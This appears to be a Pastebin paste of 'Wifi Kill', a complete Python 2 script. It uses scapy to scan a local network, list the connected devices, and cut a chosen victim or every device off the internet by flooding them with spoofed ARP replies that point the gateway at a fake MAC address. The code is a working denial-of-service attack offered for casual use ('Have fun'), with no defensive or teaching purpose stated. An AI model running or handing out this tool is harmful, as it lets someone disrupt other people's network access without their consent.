willyb321

Untitled

Sep 5th, 2016
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.96 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. ###############################################################################
  4. # Wifi Kill #
  5. # Robert Glew #
  6. # #
  7. # This python script can be used to kick anyone or everyone off of your wifi #
  8. # network. The script must be run as sudo in order to send the required #
  9. # packets. Have fun. #
  10. ###############################################################################
  11.  
  12. import time
  13. import os
  14. from scapy.all import *
  15.  
  16. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  17.  
  18. def get_ip_macs(ips):
  19. # Returns a list of tupples containing the (ip, mac address)
  20. # of all of the computers on the network
  21.  
  22. answers, uans = arping(ips, verbose=0)
  23. res = []
  24. for answer in answers:
  25. mac = answer[1].hwsrc
  26. ip = answer[1].psrc
  27. res.append((ip, mac))
  28. return res
  29.  
  30. def poison(victim_ip, victim_mac, gateway_ip):
  31. # Send the victim an ARP packet pairing the gateway ip with the wrong
  32. # mac address
  33. packet = ARP(op=2, psrc=gateway_ip, hwsrc='12:34:56:78:9A:BC', pdst=victim_ip, hwdst=victim_mac)
  34. send(packet, verbose=0)
  35.  
  36. def restore(victim_ip, victim_mac, gateway_ip, gateway_mac):
  37. # Send the victim an ARP packet pairing the gateway ip with the correct
  38. # mac address
  39. packet = ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=victim_ip, hwdst=victim_mac)
  40. send(packet, verbose=0)
  41.  
  42. def get_lan_ip():
  43. # A hacky method to get the current lan ip address. It requires internet
  44. # access, but it works
  45. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  46. s.connect(("google.com", 80))
  47. ip = s.getsockname()
  48. s.close()
  49. return ip[0]
  50.  
  51. def printdiv():
  52. print '--------------------'
  53.  
  54. # Check for root
  55. if os.geteuid() != 0:
  56. print "You need to run the script as a superuser"
  57. exit()
  58.  
  59. # Search for stuff every time we refresh
  60. refreshing = True
  61. gateway_mac = '12:34:56:78:9A:BC' # A default (bad) gateway mac address
  62. while refreshing:
  63. # Use the current ip XXX.XXX.XXX.XXX and get a string in
  64. # the form "XXX.XXX.XXX.*" and "XXX.XXX.XXX.1". Right now,
  65. # the script assumes that the default gateway is "XXX.XXX.XXX.1"
  66. myip = get_lan_ip()
  67. ip_list = myip.split('.')
  68. del ip_list[-1]
  69. ip_list.append('*')
  70. ip_range = '.'.join(ip_list)
  71. del ip_list[-1]
  72. ip_list.append('1')
  73. gateway_ip = '.'.join(ip_list)
  74.  
  75. # Get a list of devices and print them to the screen
  76. devices = get_ip_macs(ip_range)
  77. printdiv()
  78. print "Connected ips:"
  79. i = 0
  80. for device in devices:
  81. print '%s)\t%s\t%s' % (i, device[0], device[1])
  82. # See if we have the gateway MAC
  83. if device[0] == gateway_ip:
  84. gateway_mac = device[1]
  85. i+=1
  86.  
  87. printdiv()
  88. print 'Gateway ip: %s' % gateway_ip
  89. if gateway_mac != '12:34:56:78:9A:BC':
  90. print "Gateway mac: %s" % gateway_mac
  91. else:
  92. print 'Gateway not found. Script will be UNABLE TO RESTORE WIFI once shutdown is over'
  93. printdiv()
  94.  
  95. # Get a choice and keep prompting until we get a valid letter or a number
  96. # that is in range
  97. print "Who do you want to boot?"
  98. print "(r - Refresh, a - Kill all, q - quit)"
  99.  
  100. input_is_valid = False
  101. killall = False
  102. while not input_is_valid:
  103. choice = raw_input(">")
  104. if choice.isdigit():
  105. # If we have a number, see if it's in the range of choices
  106. if int(choice) < len(devices) and int(choice) >= 0:
  107. refreshing = False
  108. input_is_valid = True
  109. elif choice is 'a':
  110. # If we have an a, set the flag to kill everything
  111. killall = True
  112. input_is_valid = True
  113. refreshing = False
  114. elif choice is 'r':
  115. # If we have an r, say we have a valid input but let everything
  116. # refresh again
  117. input_is_valid = True
  118. elif choice is 'q':
  119. # If we have a q, just quit. No cleanup required
  120. exit()
  121.  
  122. if not input_is_valid:
  123. print 'Please enter a valid choice'
  124.  
  125. # Once we have a valid choice, we decide what we're going to do with it
  126. if choice.isdigit():
  127. # If we have a number, loop the poison function until we get a
  128. # keyboard inturrupt (ctl-c)
  129. choice = int(choice)
  130. victim = devices[choice]
  131. print "Preventing %s from accessing the internet..." % victim[0]
  132. try:
  133. while True:
  134. poison(victim[0], victim[1], gateway_ip)
  135. except KeyboardInterrupt:
  136. restore(victim[0], victim[1], gateway_ip, gateway_mac)
  137. print '\nYou\'re welcome!'
  138. elif killall:
  139. # If we are going to kill everything, loop the poison function until we
  140. # we get a keyboard inturrupt (ctl-c)
  141. try:
  142. while True:
  143. for victim in devices:
  144. poison(victim[0], victim[1], gateway_ip)
  145. except KeyboardInterrupt:
  146. for victim in devices:
  147. restore(victim[0], victim[1], gateway_ip, gateway_mac)
  148. print '\nYou\'re welcome!'
Advertisement
Add Comment
Please, Sign In to add comment